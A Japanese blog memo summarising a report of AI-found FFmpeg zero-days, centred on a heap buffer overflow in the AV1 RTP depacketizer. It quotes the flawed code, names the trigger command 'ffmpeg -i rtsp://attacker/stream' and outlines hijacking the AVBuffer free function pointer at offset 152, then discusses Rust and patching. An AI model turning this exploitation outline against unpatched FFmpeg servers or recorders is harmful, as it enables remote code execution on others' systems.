元記事
21 Zero-Days in FFmpeg — For $1,000
セキュリティスタートアップのDepthfirst社が開発したAIエージェントが、FFmpegから21件の未公開脆弱性(ゼロデイ)を発見した。かかった費用はわずか1,000ドル。
人間が数ヶ月かけて監査する規模のコード(約150万行のC言語)を数日でスキャンし、実際にクラッシュやコード実行を起こせる実証コード(PoC)までAIが自動生成したらしい。
その中でもAV1 RTPデパケタイザのバグが、ハッカーにとって都合が良すぎる完璧な仕様だった。
特別なフラグも不要で、以下の ordinary なコマンドで罠URLを開かせるだけでリモートコード実行(RCE)が成立する。
ffmpeg -i rtsp://attacker/stream
わずか183バイトのパケット1つでPCが乗っ取られる仕組みが面白かったのでメモ。
原因
トラック用カーソルの「勘違い」
問題は libavformat/rtpdec_av1.c のAV1 RTPデパケタイザ(パケット組み立て処理)にある。
AV1の仕様では、フレームの区切りを示す1バイトのマーカー Temporal Delimiter (TD) を「無視して削除(ignore and remove)」せよ、と書かれている。この処理部分のロジックがバグっていた。
FFmpegは、パケットの書き込み位置を制御するカーソル pktpos を動かしながら処理を行うが、TDを見つけたときに以下のような挙動をしていた。
// libavformat/rtpdec_av1.c:250
if ((obu_type == AV1_OBU_TEMPORAL_DELIMITER) ||
(obu_type == AV1_OBU_TILE_LIST)) {
pktpos += obu_size; // 書き込みカーソル(矢印)だけを先に進める
rem_pkt_size -= obu_size; // インプットカウンターを減らす
obu_cnt++;
continue; // メモリ確保(割り当て)は行わない!
}
データを無視する(メモリを確保しない)のに、書き込みカーソル(pktpos)だけを先に進めてしまった。これにより、確保されたサイズより遥か先を指す「ポイズンカーソル」が生まれる。
さらに、インプット側のポインタを進め忘れたため、次のループ処理で同じTDのデータを再パースし、攻撃者が用意した任意のデータを、はみ出た未来のメモリ番地へピンポイントに書き込める状態(ヒープバッファオーバーフロー)が完成する。
詳しくてちゃんとした解説については21 Zero-Days in FFmpeg — For $1,000の最後らへんを見てほしい。
綺麗すぎるメモリ配置
通常ならクラッシュして終わるが、FFmpegのアロケータの並びがハッカーにとってお宝だった。
動画データを置くバッファのすぐ隣(オフセット152)には、内部の管理用構造体 AVBuffer が隣接して割り当てられる決まりになっている。この中には、データの片付け(メモリ解放)を行うための「関数ポインタ」(void (*free)(...))が格納されている。
- メモリをはみ出させて、その片付け用関数ポインタの真上にハッカーの命令の住所(
0xdeadbeef)を上書きする - 動画処理が進み、FFmpegが「このデータは使い終わったからいつも通りメモリを片付けよう」と自発的にその関数ポインタを呼び出す
- 罠が発動。 FFmpeg自身の手によって不正コードが実行され、制御権が奪取される
外から無理やり叩き込むのではなく、プログラム自身のルーティンワーク(メモリ解放)を利用して自滅させるのが最高に綺麗で凶悪だった。
防御側の限界とRust
この記事の最後で指摘されていたが、AIが爆速でバグを見つける(1,000ドルで21個)のに対して、人間がソースをレビューしてパッチをあてて世界中に配るスピード(アナログ)が追いつかないという「非対称性」が一番マズい。
C/C++で書かれている以上、人間がどれだけ気をつけてもこの手のメモリ管理ミスは100%ゼロにはできない。
だからこそ最近のFirefoxやChromiumは、C++からRustへの移行をガチで進めている。 Rustなら、
- 境界線チェック(Bounds Checking) が入るのではみ出しそうになった瞬間に安全に自壊(パニック)してRCE化を防ぐ
- コンパイル時に 「所有権」 を厳密管理するのでこの手のタイミングのズレによるバグはビルドすら通らない
既存の巨大なC++資産をすべて書き換えるのは大人の事情(コストと速度)的に不可能だけど、ネットワークからの生パケットを直接受ける危険な玄関口だけでもRustに置き換えていくのは、今の時代もう不可避だと思う。
結局
ブラウザ(ChromeやFirefox)とかはサンドボックスで守られてるし通信規格も違うから、YouTube見てるだけで一発で乗っ取られるみたいな可能性は極めて低い。
本当に危ないのは、裏方で「ユーザーが投稿した動画を全裸(特権)でエンコードしているサーバー」とか、ネットに直結したCCTVの録画システムとか。
とりあえず自分の環境でFFmpegを直接叩く機会はそこまで多くないけど、アップデートの通知が来たら面倒くさがらずにすぐ適用しようと思った。